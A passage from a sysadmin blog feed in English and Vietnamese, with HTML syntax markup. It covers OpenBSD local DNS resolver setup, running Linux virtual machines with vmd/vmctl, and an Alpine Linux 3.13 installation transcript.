<span class="p">;</span><span class="w"> </span><span class="o"><<>></span><span class="w"> </span><span class="n">dig</span><span class="w"> </span><span class="mf">9.10.8</span><span class="o">-</span><span class="n">P1</span><span class="w"> </span><span class="o"><<>></span><span class="w"> </span><span class="n">pymi</span><span class="p">.</span><span class="n">vn</span><span class="w"> </span><span class="mf">@127.0.0.1</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">global</span><span class="w"> </span><span class="n">options</span><span class="o">:</span><span class="w"> </span><span class="o">+</span><span class="n">cmd</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">Got</span><span class="w"> </span><span class="n">answer</span><span class="o">:</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="o">->></span><span class="n">HEADER</span><span class="o"><<-</span><span class="w"> </span><span class="n">opcode</span><span class="o">:</span><span class="w"> </span><span class="n">QUERY</span><span class="p">,</span><span class="w"> </span><span class="n">status</span><span class="o">:</span><span class="w"> </span><span class="n">NOERROR</span><span class="p">,</span><span class="w"> </span><span class="kt">id</span><span class="o">:</span><span class="w"> </span><span class="mi">7832</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">flags</span><span class="o">:</span><span class="w"> </span><span class="n">qr</span><span class="w"> </span><span class="n">rd</span><span class="w"> </span><span class="n">ra</span><span class="p">;</span><span class="w"> </span><span class="n">QUERY</span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">ANSWER</span><span class="o">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="n">AUTHORITY</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">ADDITIONAL</span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">OPT</span><span class="w"> </span><span class="n">PSEUDOSECTION</span><span class="o">:</span><span class="w"></span>
<span class="p">;</span><span class="w"> </span><span class="n">EDNS</span><span class="o">:</span><span class="w"> </span><span class="n">version</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">flags</span><span class="o">:</span><span class="p">;</span><span class="w"> </span><span class="n">udp</span><span class="o">:</span><span class="w"> </span><span class="mi">4096</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">QUESTION</span><span class="w"> </span><span class="n">SECTION</span><span class="o">:</span><span class="w"></span>
<span class="p">;</span><span class="n">pymi</span><span class="p">.</span><span class="n">vn</span><span class="p">.</span><span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">A</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">ANSWER</span><span class="w"> </span><span class="n">SECTION</span><span class="o">:</span><span class="w"></span>
<span class="n">pymi</span><span class="p">.</span><span class="n">vn</span><span class="p">.</span><span class="w"> </span><span class="mi">231</span><span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">A</span><span class="w"> </span><span class="mf">104.21.61.168</span><span class="w"></span>
<span class="n">pymi</span><span class="p">.</span><span class="n">vn</span><span class="p">.</span><span class="w"> </span><span class="mi">231</span><span class="w"> </span><span class="n">IN</span><span class="w"> </span><span class="n">A</span><span class="w"> </span><span class="mf">172.67.212.45</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">Query</span><span class="w"> </span><span class="n">time</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">msec</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">SERVER</span><span class="o">:</span><span class="w"> </span><span class="mf">127.0.0.1</span><span class="err">#</span><span class="mi">53</span><span class="p">(</span><span class="mf">127.0.0.1</span><span class="p">)</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">WHEN</span><span class="o">:</span><span class="w"> </span><span class="n">Sun</span><span class="w"> </span><span class="n">Feb</span><span class="w"> </span><span class="mi">28</span><span class="w"> </span><span class="mi">22</span><span class="o">:</span><span class="mi">15</span><span class="o">:</span><span class="mi">35</span><span class="w"> </span><span class="o">+</span><span class="mo">07</span><span class="w"> </span><span class="mi">2021</span><span class="w"></span>
<span class="p">;;</span><span class="w"> </span><span class="n">MSG</span><span class="w"> </span><span class="n">SIZE</span><span class="w"> </span><span class="n">rcvd</span><span class="o">:</span><span class="w"> </span><span class="mi">68</span><span class="w"></span>
</code></pre></div>
<p>The result is same as returned by <code>1.1.1.1</code>:</p>
<div class="highlight"><pre><span></span><code><span class="n">$</span><span class="w"> </span><span class="n">dig</span><span class="w"> </span><span class="o">+</span><span class="kt">short</span><span class="w"> </span><span class="n">pymi</span><span class="p">.</span><span class="n">vn</span><span class="w"> </span><span class="mf">@1.1.1.1</span><span class="w"></span>
<span class="mf">172.67.212.45</span><span class="w"></span>
<span class="mf">104.21.61.168</span><span class="w"></span>
</code></pre></div>
<h2>Config laptop to use the local DNS resolver</h2>
<p>Laptop uses wireless network often uses DHCP to config.</p>
<p>Example config:</p>
<div class="highlight"><pre><span></span><code>$ cat /etc/hostname.iwm0
nwid <span class="s2">"The Coffee House"</span> wpakey thecoffeehouse
dhcp
</code></pre></div>
<p>It uses DHCP to get IP and DNS config, this in turns, re-write <code>/etc/resolv.conf</code></p>
<div class="highlight"><pre><span></span><code>$ cat /etc/resolv.conf
<span class="c1"># Generated by iwm0 dhclient</span>
nameserver <span class="m">8</span>.8.8.8
lookup file <span class="nb">bind</span>
</code></pre></div>
<p>To override the nameserver, change DHCP client config:</p>
<div class="highlight"><pre><span></span><code>$ cat /etc/dhclient.conf
supersede domain-name-servers <span class="m">127</span>.0.0.1<span class="p">;</span>
</code></pre></div>
<p>To reconnect wireless network with new DHCP client config, run:</p>
<div class="highlight"><pre><span></span><code># sh -x /etc/netstart
</code></pre></div>
<p>Now DNS would be resolved using <code>unbound</code>.</p>
<p>Happy OpenBSD using.</p>Using virtual machine via vmd on OpenBSD 6.82021-02-20T16:00:00+07:002021-02-20T16:00:00+07:00hvntag:familug.github.io,2021-02-20:/using-virtual-machine-via-vmd-on-openbsd-68.html<p>OpenBSD 6.8 comes with the vmm(4) hypervisor and vmd(8) daemon.
Instead of installing VirtualBox or look for kvm on OpenBSD, everything
is already there, a built-in virtualization solution.</p>
<h3>Check wiki FAQ first</h3>
<p>https://www.openbsd.org/faq/faq16.html</p>
<p>it lists all features, not ready features, prequisites …</p><p>OpenBSD 6.8 comes with the vmm(4) hypervisor and vmd(8) daemon.
Instead of installing VirtualBox or look for kvm on OpenBSD, everything
is already there, a built-in virtualization solution.</p>
<h3>Check wiki FAQ first</h3>
<p>https://www.openbsd.org/faq/faq16.html</p>
<p>it lists all features, not ready features, prequisites, basic commands.</p>
<h2>Distro</h2>
<p>Sure run OpenBSD guest on OpenBSD host is "should just work", it's fully tested.
But for Linux based OS, the options are not much:</p>
<p>It's a real coincidence, someone asked the question two days ago on Reddit:
https://www.reddit.com/r/openbsd/comments/llscql/most_easiest_linux_distro_to_install_in_vmd/</p>
<p>Thanks to the answers there, I tried many but success only some:</p>
<ul>
<li>AlpineLinux: use "Virtual" edition https://alpinelinux.org/downloads/
"it just works", just boot on and run <code>setup-alpine</code></li>
<li>Debian: I used <code>debian-10.8.0-amd64-netinst.iso</code>,
after start, type Tab, then enter <code>console=ttyS0,115200</code> then enter,
the text-based-curse-like UI would work.</li>
</ul>
<p>And these failed:</p>
<ul>
<li>Ubuntu: <code>ubuntu-20.04.2-live-server-amd64.iso</code>, failed.</li>
<li>NixOS: failed at phase 2/3 of systemd.</li>
<li>ArchLinux: failed with error <code>ACPI BIOS Error (bug): A valid RSDP was not found (20200925/tbxfroot-210)</code></li>
</ul>
<p>Most of these default to use Video, thus must add boot parameter:</p>
<blockquote>
<p>type Tab, then enter <code>console=ttyS0,115200</code> then enter,</p>
</blockquote>
<p>https://help.ubuntu.com/lts/installation-guide/amd64/ch05s03.html</p>
<h3>Network</h3>
<p>Setup <code>pf</code> and <code>sysctl net.inet.ip.forwarding=1</code>
as metioned in <a href="http://www.openbsd.org/faq/faq16.html#VMMnet">FAQ, <code>NAT for the VMs</code></a></p>
<p>After installed, can ssh from OpenBSD host to guest via, change to your IP get from
output of <code>ip ad</code> after installed:</p>
<div class="highlight"><pre><span></span><code><span class="n">ssh</span><span class="w"> </span><span class="n">root</span><span class="mf">@100.64.1.3</span><span class="w"> </span><span class="o">-</span><span class="n">v</span><span class="w"></span>
</code></pre></div>
<p>Note that password login seems always fail even put correct password
(or maybe Linux-based OS disabled them by default). Copy your pubkey
to <code>/root/.ssh/authorized_keys</code> then ssh would work.</p>
<h3>Commands</h3>
<p>Two major important commands:</p>
<h4>Create image</h4>
<div class="highlight"><pre><span></span><code>vmctl create -s 10G image.qcow2
</code></pre></div>
<h4>Start VM</h4>
<div class="highlight"><pre><span></span><code><span class="nv">vmctl</span><span class="w"> </span><span class="nv">start</span><span class="w"> </span>\<span class="w"></span>
<span class="w"> </span><span class="o">-</span><span class="nv">i</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span>\<span class="w"> </span>#<span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nv">interface</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span><span class="nv">L</span><span class="w"> </span>\<span class="w"> </span>#<span class="w"> </span><span class="nv">create</span><span class="w"> </span><span class="nv">interface</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span><span class="nv">c</span><span class="w"> </span>\<span class="w"> </span>#<span class="w"> </span><span class="nv">auto</span><span class="w"> </span><span class="k">connect</span><span class="w"> </span><span class="nv">console</span><span class="w"> </span><span class="nv">after</span><span class="w"> </span><span class="nv">started</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span><span class="nv">m</span><span class="w"> </span><span class="mi">1</span><span class="nv">G</span><span class="w"> </span>\<span class="w"> </span>#<span class="w"> </span><span class="mi">1</span><span class="nv">G</span><span class="w"> </span><span class="nv">memory</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span><span class="nv">r</span><span class="w"> </span><span class="nv">file</span>.<span class="nv">iso</span><span class="w"> </span>\<span class="w"> </span>#<span class="w"> </span><span class="nv">path</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">ISO</span><span class="w"> </span><span class="nv">file</span><span class="w"> </span><span class="ss">(</span><span class="nv">CD</span><span class="ss">)</span><span class="w"></span>
<span class="w"> </span><span class="o">-</span><span class="nv">d</span><span class="w"> </span><span class="nv">image</span>.<span class="nv">qcow2</span><span class="w"> </span>\<span class="w"> </span>#<span class="w"> </span><span class="nv">image</span><span class="w"> </span><span class="nv">created</span><span class="w"> </span><span class="nv">above</span><span class="w"></span>
<span class="w"> </span><span class="nv">myvm</span><span class="w"> </span>#<span class="w"> </span><span class="nv">name</span><span class="w"> </span><span class="nv">of</span><span class="w"> </span><span class="nv">VM</span><span class="w"></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>vmctl status
vmctl stop ID
</code></pre></div>
<p>The start command would start and give the name temporary, after installed,
create a file at <code>/etc/vm.conf</code> with config like:</p>
<div class="highlight"><pre><span></span><code>vm "alpine" {
disable # disable auto start when boot
memory 1G
disk "/root/linux.qcow2"
local interface
}
</code></pre></div>
<h3>Result</h3>
<p>VMs installed successfully run smoothly on vmd, low CPU usage (compare to
VirtualBox on MacOS).</p>
<p>Have fun.</p>Cài đặt và chạy máy ảo Alpine Linux 3.132021-02-20T00:00:00+07:002021-02-20T00:00:00+07:00hvntag:familug.github.io,2021-02-20:/cai-dat-va-chay-may-ao-alpine-linux-313.html<p>Alpine linux là 1 linux distro bỗng chợt phổ biến nhờ Docker.
Lý do chính Alpine Linux được dùng là vì nó nhẹ (về dung lượng), nên thích hợp
cho việc build docker image, <a href="https://www.familug.org/2020/11/kien-truc-docker-phong-van-best-practice.html">tạo docker image có size nhỏ hơn so với các
distro phổ biến như Ubuntu, Debian …</a></p><p>Alpine linux là 1 linux distro bỗng chợt phổ biến nhờ Docker.
Lý do chính Alpine Linux được dùng là vì nó nhẹ (về dung lượng), nên thích hợp
cho việc build docker image, <a href="https://www.familug.org/2020/11/kien-truc-docker-phong-van-best-practice.html">tạo docker image có size nhỏ hơn so với các
distro phổ biến như Ubuntu, Debian...</a>.</p>
<p><img alt="alpine" src="https://familug.github.io/images/alpinelinux-logo.svg"></p>
<p>Nhưng nó vốn là một Linux distro như mọi distro khác, vậy nên dùng để tạo máy ảo
là chuyện hoàn toàn bình thường.</p>
<p>Bài viết này giới thiệu cách tạo 1 môi trường dev Python trên máy ảo chạy Alpine Linux:</p>
<p>Tải file iso tối ưu cho virtual machine từ trang <a href="https://alpinelinux.org/downloads/">AlpineLinux.org</a>
Ví dụ ở đây tải URL sau - bản mới nhất tại thời điểm viết bài - 3.13</p>
<div class="highlight"><pre><span></span><code>https://dl-cdn.alpinelinux.org/alpine/v3.13/releases/x86_64/alpine-virt-3.13.2-x86_64.iso
</code></pre></div>
<p>File ISO này chỉ nặng có 41 MB:</p>
<div class="highlight"><pre><span></span><code><span class="o">$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">lh</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">hvn</span><span class="o">/</span><span class="n">Downloads</span><span class="o">/</span><span class="n">alpine</span><span class="o">*.</span><span class="n">iso</span><span class="w"></span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">hvn</span><span class="w"> </span><span class="n">hvn</span><span class="w"> </span><span class="mf">41.0</span><span class="n">M</span><span class="w"> </span><span class="n">Feb</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">10</span><span class="p">:</span><span class="mi">16</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">hvn</span><span class="o">/</span><span class="n">Downloads</span><span class="o">/</span><span class="n">alpine</span><span class="o">-</span><span class="n">virt</span><span class="o">-</span><span class="mf">3.13</span><span class="o">.</span><span class="mi">2</span><span class="o">-</span><span class="n">x86_64</span><span class="o">.</span><span class="n">iso</span><span class="w"></span>
</code></pre></div>
<p>Tạo máy ảo, chọn đĩa ISO này và bật máy ảo lên, bộ cài đặt bằng dòng lệnh của Alpine rất đơn giản, chỉ cần gõ alpine-setup rồi enter liên tục cho tới khi chọn ổ đĩa ảo (vda) , cho đến khi xong.</p>
<div class="highlight"><pre><span></span><code><span class="n">Welcome</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">Alpine</span><span class="w"> </span><span class="n">Linux</span><span class="w"> </span><span class="mf">3.13</span><span class="w"></span>
<span class="n">Kernel</span><span class="w"> </span><span class="mf">5.10.16</span><span class="o">-</span><span class="mi">0</span><span class="o">-</span><span class="n">virt</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">an</span><span class="w"> </span><span class="n">x86_64</span><span class="w"> </span><span class="p">(</span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">ttyS0</span><span class="p">)</span><span class="w"></span>
<span class="n">localhost</span><span class="w"> </span><span class="nl">login</span><span class="p">:</span><span class="w"> </span><span class="n">root</span><span class="w"></span>
<span class="n">Welcome</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">Alpine</span><span class="err">!</span><span class="w"></span>
<span class="n">The</span><span class="w"> </span><span class="n">Alpine</span><span class="w"> </span><span class="n">Wiki</span><span class="w"> </span><span class="k">contains</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">large</span><span class="w"> </span><span class="n">amount</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">how</span><span class="o">-</span><span class="k">to</span><span class="w"> </span><span class="n">guides</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="k">general</span><span class="w"></span>
<span class="n">information</span><span class="w"> </span><span class="n">about</span><span class="w"> </span><span class="n">administrating</span><span class="w"> </span><span class="n">Alpine</span><span class="w"> </span><span class="n">systems</span><span class="p">.</span><span class="w"></span>
<span class="n">See</span><span class="w"> </span><span class="o"><</span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="n">wiki</span><span class="p">.</span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">org</span><span class="o">/></span><span class="p">.</span><span class="w"></span>
<span class="n">You</span><span class="w"> </span><span class="n">can</span><span class="w"> </span><span class="n">setup</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">system</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="nl">command</span><span class="p">:</span><span class="w"> </span><span class="n">setup</span><span class="o">-</span><span class="n">alpine</span><span class="w"></span>
<span class="n">You</span><span class="w"> </span><span class="n">may</span><span class="w"> </span><span class="n">change</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">message</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="n">editing</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">motd</span><span class="p">.</span><span class="w"></span>
<span class="nl">localhost</span><span class="p">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">setup</span><span class="o">-</span><span class="n">alpine</span><span class="w"></span>
<span class="n">Available</span><span class="w"> </span><span class="n">keyboard</span><span class="w"> </span><span class="nl">layouts</span><span class="p">:</span><span class="w"></span>
<span class="n">af</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">cn</span><span class="w"> </span><span class="n">fi</span><span class="w"> </span><span class="n">hu</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">lk</span><span class="w"> </span><span class="n">mm</span><span class="w"> </span><span class="n">pl</span><span class="w"> </span><span class="n">sy</span><span class="w"> </span><span class="n">uz</span><span class="w"></span>
<span class="n">al</span><span class="w"> </span><span class="n">bg</span><span class="w"> </span><span class="n">cz</span><span class="w"> </span><span class="n">fo</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="n">jp</span><span class="w"> </span><span class="n">lt</span><span class="w"> </span><span class="n">mt</span><span class="w"> </span><span class="n">pt</span><span class="w"> </span><span class="n">th</span><span class="w"> </span><span class="n">vn</span><span class="w"></span>
<span class="n">am</span><span class="w"> </span><span class="n">br</span><span class="w"> </span><span class="n">de</span><span class="w"> </span><span class="n">fr</span><span class="w"> </span><span class="n">ie</span><span class="w"> </span><span class="n">ke</span><span class="w"> </span><span class="n">lv</span><span class="w"> </span><span class="n">my</span><span class="w"> </span><span class="n">ro</span><span class="w"> </span><span class="n">tj</span><span class="w"></span>
<span class="n">ara</span><span class="w"> </span><span class="n">brai</span><span class="w"> </span><span class="n">dk</span><span class="w"> </span><span class="n">gb</span><span class="w"> </span><span class="n">il</span><span class="w"> </span><span class="n">kg</span><span class="w"> </span><span class="n">ma</span><span class="w"> </span><span class="n">ng</span><span class="w"> </span><span class="n">rs</span><span class="w"> </span><span class="n">tm</span><span class="w"></span>
<span class="k">at</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="n">dz</span><span class="w"> </span><span class="n">ge</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">kr</span><span class="w"> </span><span class="n">md</span><span class="w"> </span><span class="n">nl</span><span class="w"> </span><span class="n">ru</span><span class="w"> </span><span class="n">tr</span><span class="w"></span>
<span class="n">az</span><span class="w"> </span><span class="n">ca</span><span class="w"> </span><span class="n">ee</span><span class="w"> </span><span class="n">gh</span><span class="w"> </span><span class="n">iq</span><span class="w"> </span><span class="n">kz</span><span class="w"> </span><span class="n">me</span><span class="w"> </span><span class="k">no</span><span class="w"> </span><span class="n">se</span><span class="w"> </span><span class="n">tw</span><span class="w"></span>
<span class="n">ba</span><span class="w"> </span><span class="n">ch</span><span class="w"> </span><span class="n">epo</span><span class="w"> </span><span class="n">gr</span><span class="w"> </span><span class="n">ir</span><span class="w"> </span><span class="n">la</span><span class="w"> </span><span class="n">mk</span><span class="w"> </span><span class="n">ph</span><span class="w"> </span><span class="n">si</span><span class="w"> </span><span class="n">ua</span><span class="w"></span>
<span class="n">bd</span><span class="w"> </span><span class="n">cm</span><span class="w"> </span><span class="n">es</span><span class="w"> </span><span class="n">hr</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">latam</span><span class="w"> </span><span class="n">ml</span><span class="w"> </span><span class="n">pk</span><span class="w"> </span><span class="n">sk</span><span class="w"> </span><span class="n">us</span><span class="w"></span>
<span class="k">Select</span><span class="w"> </span><span class="n">keyboard</span><span class="w"> </span><span class="nl">layout</span><span class="p">:</span><span class="w"> </span><span class="o">[</span><span class="n">none</span><span class="o">]</span><span class="w"></span>
<span class="n">Enter</span><span class="w"> </span><span class="k">system</span><span class="w"> </span><span class="n">hostname</span><span class="w"> </span><span class="p">(</span><span class="n">short</span><span class="w"> </span><span class="n">form</span><span class="p">,</span><span class="w"> </span><span class="n">e</span><span class="p">.</span><span class="n">g</span><span class="p">.</span><span class="w"> </span><span class="s1">'foo'</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">localhost</span><span class="o">]</span><span class="w"></span>
<span class="n">Available</span><span class="w"> </span><span class="n">interfaces</span><span class="w"> </span><span class="k">are</span><span class="err">:</span><span class="w"> </span><span class="n">eth0</span><span class="p">.</span><span class="w"></span>
<span class="n">Enter</span><span class="w"> </span><span class="s1">'?'</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">help</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">bridges</span><span class="p">,</span><span class="w"> </span><span class="n">bonding</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">vlans</span><span class="p">.</span><span class="w"></span>
<span class="n">Which</span><span class="w"> </span><span class="n">one</span><span class="w"> </span><span class="n">do</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">want</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">initialize</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="ow">or</span><span class="w"> </span><span class="s1">'?'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'done'</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">eth0</span><span class="o">]</span><span class="w"></span>
<span class="n">Ip</span><span class="w"> </span><span class="n">address</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">eth0</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="ow">or</span><span class="w"> </span><span class="s1">'dhcp'</span><span class="p">,</span><span class="w"> </span><span class="s1">'none'</span><span class="p">,</span><span class="w"> </span><span class="s1">'?'</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">dhcp</span><span class="o">]</span><span class="w"></span>
<span class="n">Do</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">want</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">do</span><span class="w"> </span><span class="ow">any</span><span class="w"> </span><span class="n">manual</span><span class="w"> </span><span class="n">network</span><span class="w"> </span><span class="n">configuration</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="n">y</span><span class="o">/</span><span class="n">n</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">n</span><span class="o">]</span><span class="w"></span>
<span class="nl">udhcpc</span><span class="p">:</span><span class="w"> </span><span class="n">started</span><span class="p">,</span><span class="w"> </span><span class="n">v1</span><span class="mf">.32.1</span><span class="w"></span>
<span class="nl">udhcpc</span><span class="p">:</span><span class="w"> </span><span class="n">sending</span><span class="w"> </span><span class="n">discover</span><span class="w"></span>
<span class="nl">udhcpc</span><span class="p">:</span><span class="w"> </span><span class="n">sending</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="mf">100.64.1.3</span><span class="w"></span>
<span class="nl">udhcpc</span><span class="p">:</span><span class="w"> </span><span class="n">lease</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="mf">100.64.1.3</span><span class="w"> </span><span class="n">obtained</span><span class="p">,</span><span class="w"> </span><span class="n">lease</span><span class="w"> </span><span class="nc">time</span><span class="w"> </span><span class="mi">4294967295</span><span class="w"></span>
<span class="n">Changing</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">root</span><span class="w"></span>
<span class="k">New</span><span class="w"> </span><span class="nl">password</span><span class="p">:</span><span class="w"></span>
<span class="n">Bad</span><span class="w"> </span><span class="nl">password</span><span class="p">:</span><span class="w"> </span><span class="n">too</span><span class="w"> </span><span class="n">many</span><span class="w"> </span><span class="k">similar</span><span class="w"> </span><span class="n">characters</span><span class="w"></span>
<span class="n">Retype</span><span class="w"> </span><span class="nl">password</span><span class="p">:</span><span class="w"></span>
<span class="nl">passwd</span><span class="p">:</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">changed</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="n">root</span><span class="w"></span>
<span class="n">Which</span><span class="w"> </span><span class="n">timezone</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="ow">in</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="s1">'?'</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">list</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">UTC</span><span class="o">]</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">Starting</span><span class="w"> </span><span class="n">busybox</span><span class="w"> </span><span class="n">acpid</span><span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="o">[</span><span class="n"> ok </span><span class="o">]</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">Starting</span><span class="w"> </span><span class="n">busybox</span><span class="w"> </span><span class="n">crond</span><span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="o">[</span><span class="n"> ok </span><span class="o">]</span><span class="w"></span>
<span class="n">HTTP</span><span class="o">/</span><span class="n">FTP</span><span class="w"> </span><span class="n">proxy</span><span class="w"> </span><span class="n">URL</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">g</span><span class="p">.</span><span class="w"> </span><span class="s1">'http://proxy:8080'</span><span class="p">,</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'none'</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">none</span><span class="o">]</span><span class="w"></span>
<span class="n">Which</span><span class="w"> </span><span class="n">NTP</span><span class="w"> </span><span class="n">client</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">run</span><span class="vm">?</span><span class="w"> </span><span class="p">(</span><span class="s1">'busybox'</span><span class="p">,</span><span class="w"> </span><span class="s1">'openntpd'</span><span class="p">,</span><span class="w"> </span><span class="s1">'chrony'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="s1">'none'</span><span class="p">)</span><span class="w"> </span><span class="o">[</span><span class="n">chrony</span><span class="o">]</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">chronyd</span><span class="w"> </span><span class="n">added</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">runlevel</span><span class="w"> </span><span class="k">default</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">Caching</span><span class="w"> </span><span class="n">service</span><span class="w"> </span><span class="n">dependencies</span><span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="o">[</span><span class="n"> ok </span><span class="o">]</span><span class="w"></span>
<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">Starting</span><span class="w"> </span><span class="n">chronyd</span><span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="o">[</span><span class="n"> ok </span><span class="o">]</span><span class="w"></span>
<span class="n">Available</span><span class="w"> </span><span class="nl">mirrors</span><span class="p">:</span><span class="w"></span>
<span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="n">dl</span><span class="o">-</span><span class="n">cdn</span><span class="p">.</span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="n">uk</span><span class="p">.</span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="n">dl</span><span class="o">-</span><span class="mf">2.</span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">4</span><span class="p">)</span><span class="w"> </span><span class="n">dl</span><span class="o">-</span><span class="mf">4.</span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">5</span><span class="p">)</span><span class="w"> </span><span class="n">dl</span><span class="o">-</span><span class="mf">5.</span><span class="n">alpinelinux</span><span class="p">.</span><span class="n">org</span><span class="w"></span>
<span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="n">mirror</span><span class="p">.</span><span class="n">yandex</span><span class="p">.</span><span class="n">ru</span><span class="w"></span>
<span class="mi">7</span><span class="p">)</span><span class="w"> </span><span class="n">mirrors</span><span class="p">.</span><span class="n">gigenet</span><span class="p">.</span><span class="n">com</span><span class="w"></span>
